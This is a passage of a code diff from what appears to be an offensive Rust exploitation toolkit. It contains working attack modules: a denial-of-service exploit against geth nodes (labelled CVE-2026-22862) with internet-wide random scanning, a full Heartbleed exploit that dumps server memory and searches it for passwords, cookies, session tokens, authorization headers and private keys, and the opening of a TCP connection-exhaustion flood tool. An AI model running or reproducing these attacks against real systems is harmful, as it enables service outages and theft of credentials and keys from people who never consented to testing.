None => bail!("Hostname resolved to empty address list"),
},
Err(e) => bail!("Failed to resolve hostname: {}", e),
}
}
};
let connect_result = timeout(
Duration::from_secs(CONNECT_TIMEOUT_SECS),
TcpStream::connect(socket_addr)
).await;
match connect_result {
Ok(Ok(_stream)) => Ok(true),
_ => Ok(false),
}
}
/// Generate malformed ECIES ciphertext payload
/// This creates a ciphertext with valid structure but invalid IV length
fn generate_malformed_ecies_payload() -> Vec<u8> {
// ECIES ciphertext structure:
// [ephemeral_pubkey (65 bytes)] [encrypted_message] [mac (32 bytes)]
// Generate a fake ephemeral public key (uncompressed format)
// In a real attack, we'd use actual EC math; here we craft bytes
let mut epk = vec![0x04]; // Uncompressed point prefix
epk.extend(vec![0x41; 32]); // X coordinate (32 bytes)
epk.extend(vec![0x42; 32]); // Y coordinate (32 bytes)
// Malformed encrypted message (less than 16 bytes = AES block size)
// This triggers panic in the decryption routine
let short_ct = vec![0x01, 0x02, 0x03];
// Fake MAC (would need to be computed with shared secret in real attack)
let fake_mac = vec![0xDE; 32];
// Combine: epk || short_ct || mac
let mut payload = Vec::with_capacity(65 + 3 + 32);
payload.extend(epk);
payload.extend(short_ct);
payload.extend(fake_mac);
payload
}
/// Generate RLPx handshake auth message with malformed data
fn generate_malformed_rlpx_auth() -> Vec<u8> {
// RLPx auth message structure (simplified):
// [size (2 bytes)] [encrypted_handshake_data]
// Claim a large size but provide insufficient data
let size: u16 = 500;
let mut payload = Vec::with_capacity(200);
// Size prefix (big endian)
payload.push((size >> 8) as u8);
payload.push((size & 0xff) as u8);
// Truncated ECIES encrypted auth message
payload.extend(generate_malformed_ecies_payload());
payload
}
/// Send exploit payload to target
async fn send_exploit(target: &str, port: u16, exploit_type: ExploitType) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let stream = match timeout(
Duration::from_secs(CONNECT_TIMEOUT_SECS),
TcpStream::connect(&addr)
).await {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
return Err(anyhow::anyhow!("Connection failed: {}", e));
}
Err(_) => {
return Err(anyhow::anyhow!("Connection timeout"));
}
};
let (mut reader, mut writer) = stream.into_split();
// Send appropriate payload based on exploit type
let payload = match exploit_type {
ExploitType::EciesMalformed => generate_malformed_ecies_payload(),
ExploitType::RlpxHandshake => generate_malformed_rlpx_auth(),
ExploitType::Both => generate_malformed_rlpx_auth(), // RLPx includes ECIES
};
writer.write_all(&payload).await.context("Failed to send payload")?;
writer.flush().await.context("Failed to flush")?;
// Wait briefly for response or connection drop
let mut response = vec![0u8; 1024];
let read_result = timeout(
Duration::from_secs(3),
reader.read(&mut response)
).await;
match read_result {
Ok(Ok(0)) => {
// Connection closed - might indicate crash
Ok(true)
}
Ok(Ok(_n)) => {
// Got response - node didn't crash (might be patched)
Ok(false)
}
Ok(Err(_)) | Err(_) => {
// Error or timeout - might indicate crash
Ok(true)
}
}
}
/// Run exploit against a single target
async fn run_single_exploit(config: &ExploitConfig) -> Result<()> {
let target = &config.target;
println!("{}", format!("[*] Target: {}:{}", target, config.p2p_port).cyan());
// Step 1: Check version via RPC
println!("{}", "[*] Checking geth version via JSON-RPC...".cyan());
let info = check_geth_version(target, config.rpc_port).await
.ok()
.unwrap_or_default();
if let Some(ref version) = info.version {
println!("{}", format!("[+] Version: {}", version).green());
if info.vulnerable {
println!("{}", "[!] VULNERABLE: Version < 1.16.8 detected!".red().bold());
} else {
println!("{}", "[+] Version appears to be patched (>= 1.16.8)".green());
}
} else {
println!("{}", "[?] Could not determine version via RPC".yellow());
}
if let Some(net_id) = info.network_id {
let network_name = match net_id {
1 => "Ethereum Mainnet",
3 => "Ropsten",
4 => "Rinkeby",
5 => "Goerli",
11155111 => "Sepolia",
_ => "Unknown/Private",
};
println!("{}", format!("[*] Network ID: {} ({})", net_id, network_name).cyan());
}
// Step 2: Check P2P port
println!("{}", format!("[*] Checking P2P port {}...", config.p2p_port).cyan());
let p2p_open = check_p2p_port(target, config.p2p_port).await
.unwrap_or(false);
if p2p_open {
println!("{}", format!("[+] P2P port {} is open", config.p2p_port).green());
} else {
println!("{}", format!("[-] P2P port {} is closed or filtered", config.p2p_port).red());
if config.check_only {
return Ok(());
}
}
// Step 3: Exploit if requested
if !config.check_only && p2p_open {
println!();
println!("{}", "[!] Sending exploit payload...".yellow().bold());
let types_to_try = match config.exploit_type {
ExploitType::Both => vec![ExploitType::EciesMalformed, ExploitType::RlpxHandshake],
t => vec![t],
};
for exploit_type in types_to_try {
println!("{}", format!("[*] Trying {:?} attack...", exploit_type).cyan());
match send_exploit(target, config.p2p_port, exploit_type).await {
Ok(crashed) => {
if crashed {
println!("{}", "[!] Target may have crashed (connection closed)".red().bold());
// Verify by trying to reconnect
tokio::time::sleep(Duration::from_secs(2)).await;
let still_up = check_p2p_port(target, config.p2p_port).await
.unwrap_or(false);
if !still_up {
println!("{}", "[!] CONFIRMED: Target node is DOWN!".red().bold());
} else {
println!("{}", "[?] Target node recovered or wasn't fully crashed".yellow());
}
} else {
println!("{}", "[-] Target appears unaffected (may be patched)".yellow());
}
}
Err(e) => {
println!("{}", format!("[-] Exploit error: {}", e).red());
}
}
}
}
// Summary
println!();
println!("{}", "═══ Scan Results ═══".cyan().bold());
println!(" Target: {}:{}", target, config.p2p_port);
println!(" Version: {}", info.version.as_deref().unwrap_or("Unknown"));
println!(" Vulnerable: {}", if info.vulnerable { "YES".red().to_string() } else { "NO/Unknown".green().to_string() });
println!(" P2P Open: {}", if p2p_open { "YES" } else { "NO" });
Ok(())
}
/// Run mass scan against multiple targets
async fn run_mass_scan(config: &ExploitConfig) -> Result<()> {
let targets_file = match &config.targets_file {
Some(f) => f,
None => bail!("No targets file specified"),
};
let file = File::open(targets_file)
.with_context(|| format!("Failed to open targets file: {}", targets_file))?;
let reader = BufReader::new(file);
let targets: Vec<String> = reader
.lines()
.filter_map(|line| line.ok())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if targets.is_empty() {
bail!("No valid targets found in file");
}
println!("{}", format!("[*] Loaded {} targets", targets.len()).cyan());
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT_SCANS));
let total = targets.len();
let mut tasks = Vec::new();
for (idx, target) in targets.into_iter().enumerate() {
let sem = semaphore.clone();
let rpc_port = config.rpc_port;
let p2p_port = config.p2p_port;
let task = tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return (target, None, false),
};
// Check version
let info = check_geth_version(&target, rpc_port).await.ok();
let vulnerable = info.as_ref().map(|i| i.vulnerable).unwrap_or(false);
// Check P2P
let p2p_open = check_p2p_port(&target, p2p_port).await
.unwrap_or(false);
(target, info, p2p_open && vulnerable)
});
tasks.push((idx, task));
}
let mut vulnerable_count = 0;
let mut results = Vec::new();
for (idx, task) in tasks {
if let Ok((target, info, is_vulnerable)) = task.await {
let progress = ((idx + 1) as f64 / total as f64 * 100.0) as u32;
if is_vulnerable {
let version = info.and_then(|i| i.version).unwrap_or_else(|| "Unknown".to_string());
println!("{}", format!("[{}/{}] [{}%] {} - VULNERABLE ({})",
idx + 1, total, progress, target, version).green());
vulnerable_count += 1;
results.push(format!("VULNERABLE: {} - {}", target, version));
} else {
println!("{}", format!("[{}/{}] [{}%] {} - Not vulnerable/unreachable",
idx + 1, total, progress, target).dimmed());
}
}
}
// Summary
println!();
println!("{}", "═══ Mass Scan Results ═══".cyan().bold());
println!(" Total Targets: {}", total);
println!(" {}", format!("Vulnerable: {}", vulnerable_count).green());
// FIX: Handle write errors properly
if !results.is_empty() {
let filename = "cve_2026_22862_geth_results.txt";
match File::create(filename) {
Ok(mut file) => {
for result in &results {
if let Err(e) = writeln!(file, "{}", result) {
eprintln!("{}", format!("Warning: Failed to write result: {}", e).yellow());
}
}
println!(" Results saved to: {}", filename.green());
}
Err(e) => {
eprintln!("{}", format!("Error: Failed to create results file: {}", e).red());
}
}
}
Ok(())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check if target is 0.0.0.0, 0.0.0.0/0, or "random" for mass random scan mode
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" || target.is_empty() {
run_random_scan().await
} else {
let config = get_user_config(target)?;
if config.mass_scan {
run_mass_scan(&config).await
} else {
run_single_exploit(&config).await
}
}
}
/// Run random scan against 0.0.0.0/0 (internet-wide random scanning)
async fn run_random_scan() -> Result<()> {
println!("{}", "[*] Random Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", "[*] Scanning random public IPs for vulnerable geth nodes".cyan());
println!();
// Ask about exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let use_exclusions = !input.trim().eq_ignore_ascii_case("n");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusions.len()).green());
}
let exclusions = Arc::new(exclusions);
// Output file
print!("{}", "[?] Output file [default: geth_vulnerable_nodes.txt]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let outfile = if input.trim().is_empty() {
"geth_vulnerable_nodes.txt".to_string()
} else {
input.trim().to_string()
};
// Concurrency
print!("{}", format!("[?] Concurrency [default: {}]: ", MAX_CONCURRENT_SCANS).green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let threads = input.trim().parse::<usize>()
.unwrap_or(MAX_CONCURRENT_SCANS);
let threads = if threads > 0 { threads } else { MAX_CONCURRENT_SCANS };
let semaphore = Arc::new(Semaphore::new(threads));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
// FIX: Add shutdown signal
let shutdown = Arc::new(AtomicBool::new(false));
let shutdown_clone = shutdown.clone();
// Spawn Ctrl+C handler
tokio::spawn(async move {
if tokio::signal::ctrl_c().await.is_ok() {
println!("\n{}", "[!] Ctrl+C received, shutting down...".yellow());
shutdown_clone.store(true, Ordering::Relaxed);
}
});
// FIX: Create file writer channel to avoid race conditions
let (tx, mut rx) = mpsc::channel::<String>(100);
// Spawn file writer task
let outfile_clone = outfile.clone();
let writer_handle = tokio::spawn(async move {
match File::create(&outfile_clone) {
Ok(mut file) => {
while let Some(line) = rx.recv().await {
if let Err(e) = writeln!(file, "{}", line) {
eprintln!("{}", format!("Warning: Failed to write to file: {}", e).yellow());
}
}
}
Err(e) => {
eprintln!("{}", format!("Error: Failed to create output file: {}", e).red());
}
}
});
// FIX: Progress reporter with shutdown support
let chk = checked.clone();
let fnd = found.clone();
let shutdown_progress = shutdown.clone();
let progress_handle = tokio::spawn(async move {
while !shutdown_progress.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(10)).await;
if !shutdown_progress.load(Ordering::Relaxed) {
println!("[*] Progress: Checked {} | Vulnerable {}",
chk.load(Ordering::Relaxed), fnd.load(Ordering::Relaxed));
}
}
});
println!();
println!("{}", "[*] Starting random scan... Press Ctrl+C to stop.".cyan().bold());
println!();
// FIX: Bounded task collection with shutdown support
let mut active_tasks = Vec::new();
while !shutdown.load(Ordering::Relaxed) {
// Acquire permit
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(e) => {
eprintln!("{}", format!("Semaphore error: {}", e).red());
break;
}
};
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
let task = tokio::spawn(async move {
let ip = generate_random_public_ip(&exc).to_string();
// Check P2P port
let p2p_open = check_p2p_port(&ip, DEFAULT_P2P_PORT).await
.unwrap_or(false);
if p2p_open {
// Check version via RPC
let info = check_geth_version(&ip, DEFAULT_RPC_PORT).await.ok();
if let Some(ref node_info) = info {
if node_info.vulnerable {
let version = node_info.version.as_deref().unwrap_or("Unknown");
println!("{}", format!("[+] VULNERABLE: {} - {}", ip, version).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
// Send to file writer
let _ = tx.send(format!("VULNERABLE: {} - {}", ip, version)).await;
} else if node_info.version.is_some() {
println!("{}", format!("[+] Geth found (patched): {} - {}",
ip, node_info.version.as_deref().unwrap_or("Unknown")).cyan());
}
}
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
active_tasks.push(task);
// FIX: Clean up completed tasks periodically to prevent unbounded growth
if active_tasks.len() >= threads * 10 {
// Drain first batch of tasks
let drain_count = threads.min(active_tasks.len());
for task in active_tasks.drain(..drain_count) {
let _ = task.await;
}
}
}
// Wait for remaining tasks to complete
println!("{}", "[*] Waiting for active scans to complete...".cyan());
for task in active_tasks {
let _ = task.await;
}
// FIX: Properly shutdown background tasks
drop(tx); // Close channel to signal writer to exit
let _ = writer_handle.await;
// Stop progress reporter (it checks shutdown flag)
let _ = progress_handle.await;
println!();
println!("{}", "═══ Random Scan Complete ═══".cyan().bold());
println!(" Checked: {}", checked.load(Ordering::Relaxed));
println!(" {}", format!("Vulnerable: {}", found.load(Ordering::Relaxed)).green());
println!(" Results saved to: {}", outfile.green());
Ok(())
}
+505
View File
@@ -0,0 +1,505 @@
use anyhow::{Context, Result, bail};
use std::fs::File;
use std::io::{BufRead, BufReader, Write};
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration, sleep};
use regex::Regex;
use std::sync::Arc;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::Colorize;
const MAX_RETRIES: u32 = 3;
const INITIAL_BACKOFF_MS: u64 = 500;
const MAX_CONCURRENT: usize = 10;
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
#[derive(Clone)]
pub struct ScanConfig {
pub port: u16,
pub payload_size: u16,
pub heartbeat_attempts: usize,
pub batch_file: Option<String>,
}
impl Default for ScanConfig {
fn default() -> Self {
Self {
port: 443,
payload_size: 0x4000,
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
batch_file: None,
}
}
}
pub async fn run(target: &str) -> Result<()> {
let config = get_user_config(target).await?;
run_with_config(target, config).await
}
async fn get_user_config(target: &str) -> Result<ScanConfig> {
let mut config = ScanConfig::default();
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
println!();
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read port input")?;
if let Ok(port) = input.trim().parse::<u16>() {
if port > 0 {
config.port = port;
}
}
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
input.clear();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read payload size input")?;
if let Ok(size) = input.trim().parse::<u16>() {
if size > 0 && size <= 0x4000 {
config.payload_size = size;
} else if size > 0x4000 {
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
config.payload_size = 0x4000;
}
}
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
input.clear();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read heartbeat attempts input")?;
if let Ok(attempts) = input.trim().parse::<usize>() {
if attempts > 0 && attempts <= 20 {
config.heartbeat_attempts = attempts;
} else if attempts > 20 {
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
config.heartbeat_attempts = 20;
}
}
if target.is_empty() {
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
input.clear();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read batch mode input")?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
print!("{}", "Enter batch file path: ".green());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
input.clear();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read batch file path input")?;
let batch_file = input.trim().to_string();
if !batch_file.is_empty() {
if Path::new(&batch_file).exists() {
config.batch_file = Some(batch_file);
} else {
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
}
}
}
}
println!();
println!("{}", "Configuration Summary:".cyan().bold());
println!(" Port: {}", config.port);
println!(" Payload Size: {} bytes", config.payload_size);
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
if let Some(ref batch) = config.batch_file {
println!(" Batch File: {}", batch);
}
println!();
Ok(config)
}
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
if let Some(batch_file) = &config.batch_file {
run_batch_scan(batch_file, &config).await
} else {
scan_single_target(target, &config).await
}
}
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
let file = File::open(batch_file)
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
let reader = BufReader::new(file);
let targets: Vec<String> = reader
.lines()
.filter_map(|line| line.ok())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if targets.is_empty() {
bail!("No valid targets found in batch file");
}
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
let mut tasks = FuturesUnordered::new();
for target in targets {
let config_clone = config.clone();
let sem = semaphore.clone();
let sem_clone = sem.clone();
tasks.push(tokio::spawn(async move {
// Semaphore acquire should never fail in practice, but handle gracefully
let _permit = match sem_clone.acquire().await {
Ok(p) => p,
Err(_) => {
eprintln!("Warning: Failed to acquire semaphore permit");
return Ok(());
}
};
scan_single_target(&target, &config_clone).await
}));
}
while let Some(result) = tasks.next().await {
if let Err(e) = result {
eprintln!("{}", format!("[-] Task error: {}", e).red());
}
}
println!("{}", "\n[*] Batch scan complete".green().bold());
Ok(())
}
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
let raw = target.trim();
if raw.is_empty() {
bail!("Target address cannot be empty");
}
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
let host = if stripped.contains(':') && !stripped.contains('.') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
let addr = format!("{}:{}", host, config.port);
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
addr, config.payload_size, config.heartbeat_attempts).cyan());
let mut all_leaked_data = Vec::new();
for attempt in 1..=config.heartbeat_attempts {
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
match scan_with_retry(&addr, config.payload_size).await {
Ok(Some(data)) => {
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
all_leaked_data.extend_from_slice(&data);
}
Ok(None) => {
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
}
Err(e) => {
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
}
}
if attempt < config.heartbeat_attempts {
sleep(Duration::from_millis(100)).await;
}
}
if all_leaked_data.is_empty() {
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
return Ok(());
}
println!();
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
println!();
analyze_leaked_data(&all_leaked_data);
let safe_filename = stripped
.replace(':', "_")
.replace('/', "_")
.replace('\\', "_");
let filename = format!("leak_dump_{}.bin", safe_filename);
save_leak_dump(&filename, &all_leaked_data)?;
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
Ok(())
}
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let mut backoff = INITIAL_BACKOFF_MS;
for retry in 0..MAX_RETRIES {
if retry > 0 {
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
sleep(Duration::from_millis(backoff)).await;
backoff *= 2;
}
match perform_heartbleed_test(addr, payload_size).await {
Ok(data) => return Ok(data),
Err(e) if retry < MAX_RETRIES - 1 => {
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
continue;
}
Err(e) => return Err(e),
}
}
bail!("All retry attempts exhausted")
}
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => bail!("Connection failed: {}", e),
Err(_) => bail!("Connection timed out"),
};
stream.write_all(&build_client_hello()).await
.context("Failed to send Client Hello")?;
stream.flush().await
.context("Failed to flush after Client Hello")?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {},
Ok(Ok(_)) => bail!("No response to Client Hello"),
Ok(Err(e)) => bail!("Read error: {}", e),
Err(_) => bail!("Read timed out"),
}
stream.write_all(&build_heartbeat_request(payload_size)).await
.context("Failed to send Heartbeat request")?;
stream.flush().await
.context("Failed to flush after Heartbeat")?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => return Ok(None),
Ok(Err(_)) => return Ok(None),
Err(_) => return Ok(None),
};
if n <= 5 {
return Ok(None);
}
Ok(Some(leak[..n].to_vec()))
}
fn analyze_leaked_data(data: &[u8]) {
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
let data_str = String::from_utf8_lossy(data);
let password_patterns = vec![
(r"password[=:]\s*[^\s&]{3,}", "Password"),
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
];
for (pattern, label) in password_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
}
}
}
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
if let Some(re) = cookie_re {
for cap in re.captures_iter(&data_str) {
if let Some(cookie) = cap.get(1) {
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
}
}
}
let session_patterns = vec![
r"PHPSESSID=[a-zA-Z0-9]{20,}",
r"JSESSIONID=[a-zA-Z0-9]{20,}",
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
];
for pattern in session_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
}
}
}
let key_markers = vec![
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN OPENSSH PRIVATE KEY-----",
];
for marker in key_markers {
if data_str.contains(marker) {
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
}
}
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
if let Some(re) = auth_re {
for cap in re.captures_iter(&data_str) {
if let Some(auth) = cap.get(1) {
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
}
}
}
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
if let Some(re) = email_re {
let mut emails = std::collections::HashSet::new();
for cap in re.find_iter(&data_str) {
emails.insert(cap.as_str().to_string());
}
if !emails.is_empty() {
println!();
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
for (i, email) in emails.iter().take(5).enumerate() {
println!(" {}: {}", i + 1, email);
}
if emails.len() > 5 {
println!(" ... and {} more", emails.len() - 5);
}
}
}
println!();
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
println!("{}", printable_dump(&data[..data.len().min(512)]));
}
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
let path = Path::new(filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(data)
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
Ok(())
}
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302;
let time_now = match SystemTime::now().duration_since(UNIX_EPOCH) {
Ok(d) => d.as_secs() as u32,
Err(_) => 0,
};
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&[0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
];
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0);
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1);
hello.push(0);
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01);
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' => '\n',
b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
+2
View File
@@ -0,0 +1,2 @@
pub mod heartbleed;
pub mod geth_dos_cve_2026_22862;
@@ -0,0 +1,360 @@
// src/modules/exploits/dos/connection_exhaustion_flood.rs
//
// Ultra-fast connection flood (server-side exhaustion)
// Opens TCP connections in parallel as fast as possible, immediately closes them.
// Uses a semaphore to bound max concurrent FDs so the LOCAL machine never runs out.
// Target: exhaust server's connection table / TIME_WAIT slots
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::net::SocketAddr;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::Instant;
use crate::utils::{normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no};
/// Maximum concurrent file descriptors to use (local side protection)
const DEFAULT_MAX_FDS: usize = 1000;
/// Configuration for the connection flood
#[derive(Clone, Debug)]
struct FloodConfig {
target_display: String,
resolved_addrs: Vec<SocketAddr>,
max_concurrent_fds: usize,
worker_count: usize,
duration_secs: u64,
connect_timeout_ms: u64,
verbose: bool,
}
/// Entry point for the module
pub async fn run(initial_target: &str) -> Result<()> {
print_banner();
let config = setup_wizard(initial_target).await?;
execute_flood(&config).await
}
fn print_banner() {
println!(
"{}",
r#"
╔══════════════════════════════════════════════════════════════╗
║ Connection Exhaustion Flood ║
║ Ultra-Fast Parallel TCP Connect & Drop ║
║ Server-Side Resource Exhaustion ║
╠══════════════════════════════════════════════════════════════╣
║ This module BOUNDS local FD usage via semaphore. ║
║ Your system will NOT run out of file descriptors. ║
╚══════════════════════════════════════════════════════════════╝
"#
.red()
.bold()
);
}
async fn setup_wizard(initial_target: &str) -> Result<FloodConfig> {
println!("{}", "=== Configuration ===".blue().bold());
// Target
let target_input = if initial_target.trim().is_empty() {
prompt_required("Target Host/IP")?
} else {
println!(
"{}",
format!("[*] Using target: {}", initial_target).cyan()
);
initial_target.to_string()
};
let normalized = normalize_target(&target_input)?;
// Extract host and port
let (host, port) = if let Some((h, p)) = normalized.split_once(':') {
let parsed_port = p.parse::<u16>()
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
(h.to_string(), parsed_port)
} else {
let p = prompt_port("Target Port", 80)?;
(normalized, p)
};
let target_display = format!("{}:{}", host, port);
// Pre-resolve DNS
println!(
"{}",
format!("[*] Resolving {}...", target_display).yellow()
);
let resolved_addrs: Vec<SocketAddr> = tokio::net::lookup_host(&target_display)
.await
.context("Failed to resolve target hostname")?
.collect();
if resolved_addrs.is_empty() {
return Err(anyhow!("Could not resolve target address"));
}
println!(
"{}",
format!("[+] Resolved to: {:?}", resolved_addrs).green()
);
// Max concurrent FDs (local protection)
let max_fds_input = prompt_default(
"Max Concurrent FDs (local limit)",
&DEFAULT_MAX_FDS.to_string(),
)?;
let max_concurrent_fds: usize = max_fds_input
.parse()
.map_err(|_| anyhow!("Invalid number for max FDs"))?;
if max_concurrent_fds == 0 {
return Err(anyhow!("Max FDs must be > 0"));
}
// Worker count (async tasks spawning connections)
